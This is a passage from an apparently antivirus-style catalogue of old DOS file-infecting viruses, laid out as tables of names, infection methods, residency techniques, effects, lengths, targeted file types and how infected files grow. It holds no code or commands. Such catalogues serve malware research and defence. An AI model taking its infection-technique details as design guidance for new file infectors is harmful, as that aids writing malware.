º.Hare.7610 ¦INT ¦MCB ¦ HV ¦7610 ¦ CE+boot*¦ e ¦ L+89 º
º.Hare.7750 ¦INT ¦MCB ¦ HV ¦7750 ¦ CE+boot*¦ e ¦ C-L+83, E-L+82 º
º.Hare.7786 ¦INT ¦MCB ¦ HV ¦7786 ¦ CE+boot*¦ e ¦ C-L+83, E-L+82 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEndOf.783 ¦INFI¦MCB ¦ - ¦783 ¦ C * ¦ e ¦ L º
ºEndOf.788 ¦INFI¦MCB ¦ - ¦788 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEvolution.2761 ¦INT ¦MCB ¦ HV ¦2761 ¦ E * ¦ e ¦ L º
ºEvolution.2770 ¦INT ¦MCB ¦ HV ¦2770 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºExeHeader.192 ¦INT ¦KEEP¦ - ¦192 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.222 ¦INT ¦KEEP¦ - ¦222 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.223 ¦INT ¦INTB¦ - ¦223 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.277 ¦INT ¦MCB ¦ Er ¦277 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.313 ¦INT ¦MCB ¦ - ¦313 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.379 ¦INT ¦MCB ¦ - ¦379 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.388 ¦INT ¦MCB ¦ - ¦388 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.394 ¦INT ¦MCB ¦ - ¦394 ¦ E ¦ i ¦ 0, inserting º
ºExeHeader.396 ¦INT ¦MCB ¦ H ¦396 ¦ E * ¦ i ¦ 0, inserting º
ºExeHeader.3E ¦INT ¦INTB¦ Er ¦384 ¦ E * ¦ i ¦ 0, inserting º
ºExeHeader.440 ¦INT ¦MCB ¦ V ¦440 ¦ E ¦ i ¦ 0, inserting º
º.Andryushka (2)¦INT ¦MCB ¦ Er ¦384 ¦ E * ¦ i ¦ 0, inserting º
º.AntiArj (2)¦INT ¦MCB ¦ H ¦333 ¦ E ¦ i ¦ 0, inserting º
º.ATCorp ¦INT ¦INTB¦ - ¦363 ¦ E * ¦ i ¦ 0, inserting º
º.Clust (3)¦INT ¦MCB ¦ - ¦384 ¦ E * ¦ i ¦ 0, inserting º
º.Bob ¦INT ¦INTB¦ - ¦448 ¦ E ¦ i ¦ 0, inserting º
º.Bosco (3)¦INT ¦MCB ¦ H ¦453 ¦ E ¦ i ¦ 0, inserting º
º.Dina.271 ¦INT ¦INTB¦ - ¦271 ¦ E * ¦ i ¦ 0, inserting º
º.Dina.283 ¦INT ¦INTB¦ Er ¦283 ¦ E * ¦ i ¦ 0, inserting º
º.Dragon ¦INT ¦MCB ¦ - ¦400 ¦ E * ¦ i ¦ 0, inserting º
º.Em ¦INT ¦INTB¦ - ¦250 ¦ E * ¦ i ¦ 0, inserting º
º.Funked (3)¦INT ¦HMA ¦ - ¦425 ¦ E * ¦ i ¦ 0, inserting º
º.Gregory ¦INT ¦MCB ¦ - ¦406 ¦ E * ¦ i ¦ 0, inserting º
º.Hobbit ¦INT ¦MCB ¦ - ¦416 ¦ E * ¦ i ¦ 0, inserting º
º.I03 ¦INT ¦INTB¦ - ¦326 ¦ E * ¦ i ¦ 0, inserting º
º.Kibina.390 ¦INT ¦BUFF¦ H ¦390 ¦ E * ¦ i ¦ 0, inserting º
º.Kibina.398 ¦INT ¦BUFF¦ H ¦398 ¦ E * ¦ i ¦ 0, inserting º
º.Louse ¦INT ¦MCB ¦ - ¦432 ¦ E * ¦ i ¦ 0, inserting º
º.Mike.252 ¦INT ¦INTB¦ - ¦252 ¦ E * ¦ i ¦ 0, inserting º
º.Mike.256 ¦INT ¦INTB¦ - ¦256 ¦ E * ¦ i ¦ 0, inserting º
º.Ming ¦INT ¦INTB¦ VEr¦359 ¦ E * ¦ i ¦ 0, inserting º
º.Nla ¦INT ¦MCB ¦ H ¦383 ¦ E * ¦ i ¦ 0, inserting º
º.Pure.427 ¦INT ¦MCB ¦ - ¦427 ¦ E * ¦ i ¦ 0, inserting º
º.Pure.441 (3)¦INT ¦MCB ¦ - ¦441 ¦ E * ¦ i ¦ 0, inserting º
º.Renegade (2)¦INT ¦INTB¦ - ¦416 ¦ E * ¦ i ¦ 0, inserting º
º.SkidRow.415 ¦INT ¦BUFF¦ V ¦415 ¦ E * ¦ i ¦ 0, inserting º
º.SkidRow.418 ¦INT ¦BUFF¦ - ¦418 ¦ E * ¦ i ¦ 0, inserting º
º.SkidRow.427 ¦INT ¦BUFF¦ - ¦427 ¦ E * ¦ i ¦ 0, inserting º
º.SkidRow.432 ¦INT ¦BUFF¦ V ¦432 ¦ E * ¦ i ¦ 0, inserting º
º.Sot ¦INT ¦MCB ¦ - ¦352 ¦ E * ¦ i ¦ 0, inserting º
º.TheRat ¦INT ¦BUFF¦ Er ¦384 ¦ E * ¦ i ¦ 0, inserting º
º.Vvm.204 ¦INT ¦KEEP¦ - ¦204 ¦ E * ¦ i ¦ 0, inserting º
º.Vvm.205 (2)¦INT ¦KEEP¦ - ¦205 ¦ E * ¦ i ¦ 0, inserting º
º.Vvm.207 ¦INT ¦KEEP¦ - ¦207 ¦ E * ¦ i ¦ 0, inserting º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºExplorer.3037 ¦INFI¦MCB ¦ V ¦3037 ¦ .E&E .S ¦ e ¦ L º
ºExplorer.3063 ¦INFI¦MCB ¦ V ¦3063 ¦ .E&E .S ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEasy.200 ¦INT ¦MCB ¦ - ¦200 ¦ C ¦ e ¦ L º
ºEightTunes.1971¦INT ¦MCB ¦ S ¦1971 ¦ CE ¦ e ¦ L º
ºEkko.291 ¦INT ¦MCB ¦ Er ¦291 ¦ C ¦ s ¦ L º
ºEkoter.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ C+boot ¦ s ¦ L º
ºElaine.1127 ¦INT ¦MCB ¦ H ¦1127 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºElene.1000 ¦INT ¦KEEP¦ VEr¦1000 ¦ CE * ¦ e ¦ L º
ºEm.1303 ¦FIND¦ - ¦ H ¦1303 ¦ .E * ¦ e ¦ L+p º
ºEnola.1183 ¦INT ¦MCB ¦ Ch ¦1183 ¦ .C.E&CE* ¦ e ¦ L+p º
ºErasePT.512 ¦FIND¦ - ¦ H ¦512 ¦ .E+MBR* ¦ e ¦ L º
ºEumel.381 ¦FIND¦ - ¦ - ¦381 ¦ .C ¦ e ¦ L º
ºEuskara.811 ¦FIND¦ - ¦ V ¦811 ¦ .C ¦ e ¦ L º
ºEvc.161 ¦INT ¦KEEP¦ HV ¦161 ¦ CE * ¦ s ¦ 0, overwrite º
ºEvgenich.161 ¦FIND¦ - ¦ - ¦161 ¦ C * ¦ s ¦ L º
ºExp.1617 ¦INT ¦MCB ¦ HV ¦1617 ¦ CE * ¦ e ¦ L º
ºExplosion.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ CE * ¦ e ¦ L º
ºExterminate.1632INT ¦MCB ¦ V ¦1632 ¦ CE * ¦ e ¦ L+p º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part F
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºFace.414 ¦INT ¦ADDR¦ V ¦414 ¦ .C&C * ¦ s ¦ L º
ºFace.2521 ¦INT ¦ * ¦ V ¦2521 ¦.C.E.S&CES*¦CEeSs¦ C,E-L+p, S-L+263 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFair.2083 (2)¦INT ¦MCB ¦ V ¦2083 ¦ CE * ¦ e ¦ L+p º
ºFair.2340 ¦INT ¦MCB ¦ V ¦2340 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFans.500 ¦INT ¦MCB ¦ - ¦500 ¦ C * ¦ e ¦ L º
ºFans.560 ¦INT ¦MCB ¦ - ¦560 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFavour.2576 ¦INT ¦MCB ¦ H ¦2576 ¦ CES * ¦ e ¦ L º
ºFavour.2608 ¦INT ¦MCB ¦ HV ¦2608 ¦ CES * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFaXFree.AbstractINT ¦MCB ¦ - ¦1024 ¦ .E&E * ¦ e ¦ L+p º
º.Fam ¦INT ¦KEEP¦ HV ¦2774 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFind.229 ¦INT ¦DOSD¦ - ¦229 ¦ C * ¦ e ¦ L º
ºFind.512 ¦INT ¦MCB ¦ Er ¦512 ¦ E * ¦ e ¦ L º
ºFind.600 ¦INT ¦MCB ¦ - ¦600 ¦ E * ¦ e ¦ L º
ºFind.BigX ¦INT ¦MCB ¦ - ¦610 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFirst.343 ¦INT ¦MCB ¦ - ¦343 ¦ C * ¦ e ¦ L º
ºFirst.3032 ¦INT ¦MCB ¦ V ¦3032 ¦ CE * ¦ e ¦ L+p º
ºFirst.3173 ¦INT ¦MCB ¦ V ¦3173 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFish#6 (5)¦INT ¦MCB ¦ HV ¦3584 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFisher.1100 ¦INT ¦MCB ¦ V ¦1100 ¦ C * ¦ e ¦ L º
ºFisher.2420 ¦INT ¦MCB ¦ Ch ¦2420 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFist.709 ¦INT ¦MCB ¦ Er ¦709 ¦ .C.E&CE* ¦ e ¦ L+? º
ºFist.711 ¦INT ¦MCB ¦ - ¦711 ¦ .C.E&CE* ¦ e ¦ L+? º
ºFist.927 ¦INT ¦MCB ¦ Er ¦927 ¦ CE+boot ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFlagyll.316 ¦INT ¦MCB ¦ H ¦316 ¦ .E * ¦ s ¦ 0, overwrite º
ºFlagyll.318 ¦INT ¦MCB ¦ H ¦318 ¦ .E ¦ s ¦ 0, overwrite º
ºFlagyll.349 ¦INT ¦INTB¦ V ¦349 ¦ .E * ¦ s ¦ L, companion º
ºFlagyll.369 ¦INT ¦MCB ¦ H ¦369 ¦ .E * ¦ s ¦ 0, overwrite º
ºFlagyll.371 ¦INT ¦MCB ¦ H ¦371 ¦ .E ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFlip.2153 ¦INT ¦MCB ¦ V ¦2153 ¦ CE+boot*¦ e ¦ L º
ºFlip.2343 ¦INT ¦MCB ¦ HV ¦2343 ¦ CE+boot*¦ e ¦ L º
ºFlip.2365 ¦INT ¦MCB ¦ HV ¦2365 ¦ CE+boot*¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFog.AirRaid.1728INT ¦MCB ¦ - ¦1728 ¦ C * ¦ e ¦ L+? º
º.1731 (2)¦INT ¦MCB ¦ - ¦1731 ¦ C * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºForever.896 ¦INT ¦MCB ¦ - ¦896 ¦ E * ¦ e ¦ L+p º
ºForever.930 ¦INT ¦MCB ¦ - ¦930 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFreddy.1663 ¦FIND¦ - ¦ H ¦1663 ¦ .C.E&CE* ¦ e ¦ L+p º
ºFreddy.1870 ¦INFI¦KEEP¦ H ¦1870 ¦ .C.E&CE* ¦ e ¦ C-L,E-L+p,COMND-0º
ºFreddy.2271 ¦INFI¦MCB ¦ H ¦2271 ¦ .C.E&CE* ¦ e ¦ L+?,COMMAND.COM-0º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFreedom.2448 ¦INFI¦KEEP¦ HV ¦2448 ¦ .C.E&CE* ¦ e ¦ L+p º
ºFreedom.2560 ¦INFI¦KEEP¦ H ¦2560 ¦ .C.E&CE* ¦ e ¦ L+p º
ºFreedom.3600 ¦INT ¦MCB ¦ H ¦3600 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºFab.1755 ¦INT ¦MCB ¦ V ¦1755 ¦ E * ¦ s ¦ L º
ºFaerie.276 ¦FIND¦ - ¦ - ¦276 ¦ .C * ¦ e ¦ L º
ºFafb.948 ¦INFI¦MCB ¦ - ¦948 ¦ .C.E * ¦ s ¦ L º
ºFairGround.813 ¦INT ¦MCB ¦ - ¦813 ¦ E * ¦ e ¦ L º
ºFantasma.1000 ¦INT ¦MCB ¦ HV ¦1000 ¦ .C.E ¦ e ¦ L º
ºFanthomas.1443 ¦INT ¦MCB ¦ Er ¦1443 ¦ CE+boot*¦ e ¦ C-L, E-L+p º
ºFantomas.432 ¦INT ¦INTB¦ HV ¦432 ¦ .E&E * ¦ e ¦ L+p º
ºFarside.3008 ¦INT ¦MCB ¦ V ¦3008 ¦ CE * ¦CsEi ¦ L º
ºFascist.442 ¦FIND¦ - ¦ V ¦442 ¦ .C * ¦ s ¦ L ++ º
ºFatty.3008 ¦INT ¦MCB ¦ HEr¦3008 ¦ CE+boot ¦ e ¦ L º
ºFCB.384 ¦FIND¦ - ¦ H ¦384 ¦ .C.E ¦ s ¦ L º
ºFcl.2044 ¦INT ¦MCB ¦ - ¦2044 ¦ CE * ¦ e ¦ L+? º
ºFellow.1019 ¦INT ¦KEEP¦ V ¦1019 ¦ E * ¦ e ¦ L+p º
ºFence.2089 ¦INT ¦MCB ¦ VS ¦2089 ¦ CE * ¦ e ¦ L º
ºFFC.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ E * ¦ e ¦ L º
ºFfff.432 ¦INT ¦INTB¦ H ¦432 ¦ .C&C * ¦ e ¦ L º
ºFichv.897 ¦INFI¦KEEP¦ H ¦897 ¦ .E ¦ e ¦ L º
ºFinnish.378 ¦INT ¦MCB ¦ - ¦378 ¦ .C ¦ e ¦ L º
ºFinnPoly.2179 ¦INT ¦MCB ¦ V ¦2179 ¦ .C&C * ¦ e ¦ L+? º
ºFlaco.1330 ¦INT ¦MCB ¦ - ¦1330 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºFlex.491 ¦INT ¦MCB ¦ V ¦491 ¦ C * ¦ e ¦ L º
ºFloyd.1542 ¦INT ¦MCB ¦ V ¦1542 ¦ E * ¦ e ¦ L+p º
ºFly.1769 ¦INT ¦MCB ¦ S ¦1769 ¦ CE * ¦ e ¦ L+p º
ºFm.765 ¦FIND¦ - ¦ - ¦765 ¦ .C * ¦ s ¦ L º
ºFolks.618 ¦INT ¦MCB ¦ V ¦618 ¦ C * ¦ e ¦ L º
ºFricker.395 ¦FIND¦ - ¦ V ¦395 ¦ .C * ¦ e ¦ L º
ºFrodo.4096 (2)¦INT ¦MCB ¦ HV ¦4096 ¦ CE * ¦ e ¦ L º
ºFrodoSoft.590 ¦FIND¦ - ¦ - ¦590 ¦ .C&C * ¦ e ¦ L º
ºFsmm.2971 ¦INT ¦MCB ¦ Er ¦2971 ¦ .E&E * ¦ i ¦ L º
ºFumble.867 ¦FIND¦ -* ¦ Ch ¦867 ¦ .C * ¦ e ¦ L º
ºFunky.692 ¦INT ¦MCB ¦ S ¦692 ¦ C * ¦ i,e ¦ L+p, 0 º
ºFuture.3180 ¦INT ¦MCB ¦ - ¦3180 ¦ .C.E&CE* ¦ e ¦ L º
ºFy.338 ¦FIND¦ - ¦ Ch ¦338 ¦ .C * ¦ e ¦ L º
ºFynov.4309 ¦INT ¦MCB ¦ HV ¦4309 ¦ .C.E&CE* ¦ e ¦ C-L+17, E-L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part G
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºGallery.631 ¦INT ¦MCB ¦ - ¦631 ¦ .C&C * ¦ e ¦ L º
ºGallery.782 ¦INT ¦MCB ¦ - ¦782 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºGCAE.Demo ¦FIND¦ - ¦ - ¦2264 ¦ .C * ¦ e ¦ L+? º
º.Vimg ¦FIND¦ - ¦ V ¦997 ¦ .C * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºGinger.2691 ¦INT ¦MCB ¦ Er ¦2691 ¦ CE+boot *¦ e ¦ L º
ºGinger.2774 ¦INT ¦MCB ¦ Er ¦2774 ¦ CE+boot *¦ e ¦ L º
ºGinger.2782 ¦INT ¦MCB ¦ - ¦2782 ¦ CE+boot *¦ e ¦ L º
º.Orsam.2624 ¦INT ¦MCB ¦ - ¦2624 ¦ CE+boot *¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºGoldBug (5)¦INT ¦HMA ¦ HCh¦1024 ¦ .E+boot* ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºGreenMonster.711INT ¦MCB ¦ H ¦711 ¦ .C * ¦ e ¦ L+p º
ºGreenMonster.784INT ¦MCB ¦ - ¦784 ¦ .C * ¦ e ¦ L+p º
ºGreenMonster.839INT ¦MCB ¦ H ¦839 ¦ .C * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºGrog.495 ¦FIND¦ - ¦ VCh¦495 ¦ .C * ¦ s ¦ L º
ºGrog.2075 ¦INT ¦MCB ¦ H ¦2075 ¦ .C.E&CE* ¦CsEe ¦ L º
ºGrog.2825 ¦INT ¦MCB ¦ H ¦2825 ¦ .C.E&CE* ¦CsEe ¦ C-L, E+256+p º
º.4ever.1200 ¦INT ¦MCB ¦ VCh¦1200 ¦ .C * ¦ s ¦ L º
º.Bog.233 ¦FIND¦ - ¦ - ¦233 ¦ .E * ¦ i ¦ 0, overwrite º
º.Hop ¦FIND¦ - ¦ - ¦480 ¦ .C * ¦ i ¦ 0, inserting º
º.Metafora ¦FIND¦ - ¦ V ¦1347 ¦ .C * ¦ s ¦ 0, companion º
º.Miami ¦FIND¦ - ¦ - ¦926 ¦ .C * ¦ e ¦ L º
º.NTA ¦FIND¦ - ¦ V ¦1016 ¦ .C * ¦ e ¦ L º
º.Razor ¦FIND¦ - ¦ V ¦801 ¦ .C * ¦ e ¦ L º
º.Sempre ¦FIND¦ - ¦ HV ¦377 ¦ CE * ¦ s+i ¦ 0, overwrite º
º.WildCards ¦FIND¦ - ¦ V ¦798 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºG2.306 ¦FIND¦ - ¦ - ¦306 ¦ .C&C ¦ e ¦ L º
ºGalya.500 (2)¦INT ¦KEEP¦ HV ¦500 ¦ .C * ¦ e ¦ L º
ºGeek.734 ¦FIND¦ - ¦ V ¦734 ¦ .C.E ¦ s ¦ C-L, E-companion º
ºGenc.1000 ¦INT ¦MCB ¦ H ¦1000 ¦ C ¦ e ¦ L º
ºGentry.1570 ¦INT ¦MCB ¦ V ¦1570 ¦ .C.E&CE* ¦ e ¦ L+(0-63) º
ºGetto.2000 ¦INT ¦MCB ¦ HV ¦2000 ¦ .C.E&CE* ¦ e ¦ L º
ºGexa.2324 ¦INT ¦MCB ¦ V ¦2324 ¦ .C.E&CE* ¦ e ¦ L+? º
ºGirl.1036 ¦FIND¦ - ¦ HV ¦1036 ¦ .C.E * ¦ e ¦ L º
ºGirls.1829 ¦FIND¦ - ¦ VEr¦1829 ¦ .C.E * ¦ e ¦ L+p º
ºGlobus.1742 ¦INT ¦MCB ¦ - ¦1742 ¦ E * ¦ e ¦ L+p º
ºGloomy.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .C.E&CE* ¦ i,e ¦ L º
ºGluck.761 ¦INT ¦MCB ¦ V ¦761 ¦ C * ¦ e ¦ L º
ºGoblin.1759 ¦INT ¦MCB ¦ V ¦1759 ¦ E+boot* ¦ e ¦ L º
ºGoddamn.302 ¦FIND¦ - ¦ - ¦302 ¦ .C * ¦ e ¦ L º
ºGorinich.776 ¦INT ¦MCB ¦ - ¦776 ¦ CE * ¦ e ¦ L º
ºGorlovka.1022 ¦INT ¦MCB ¦ - ¦1022 ¦ CE * ¦CiEe ¦ C-0, E-L+p º
ºGosha.1831 ¦INT ¦MCB ¦ - ¦1831 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºGotcha.605 ¦INT ¦MCB ¦ - ¦605 ¦ C * ¦ e ¦ L º
ºGotyou.5052 ¦FIND¦ - ¦ H ¦5052 ¦ .E ¦ e ¦ L+p º
ºGrace.1346 ¦INT ¦MCB ¦ V ¦1346 ¦ .C.E&CE* ¦ i ¦ C-L, E-L+? º
ºGranada.2765 ¦INT ¦KEEP¦ V ¦2765 ¦ C ¦ s ¦ L º
ºGremlin.1405 ¦INT ¦MCB ¦ - ¦1405 ¦ CE * ¦ e ¦ L+? º
ºGripe.1985 ¦INT ¦MCB ¦ - ¦1985 ¦ CE * ¦ e ¦ L+? º
ºGraveLion.2250 ¦INT ¦MCB ¦ V ¦2250 ¦ CE+boot*¦ e ¦ L+p º
ºGregory.996 ¦FIND¦ - ¦HVEr¦996 ¦ .C * ¦ e ¦ L-1 or L-2 º
ºGrosser.607 ¦FIND¦ - ¦ - ¦607 ¦ .C&C * ¦ s ¦ L º
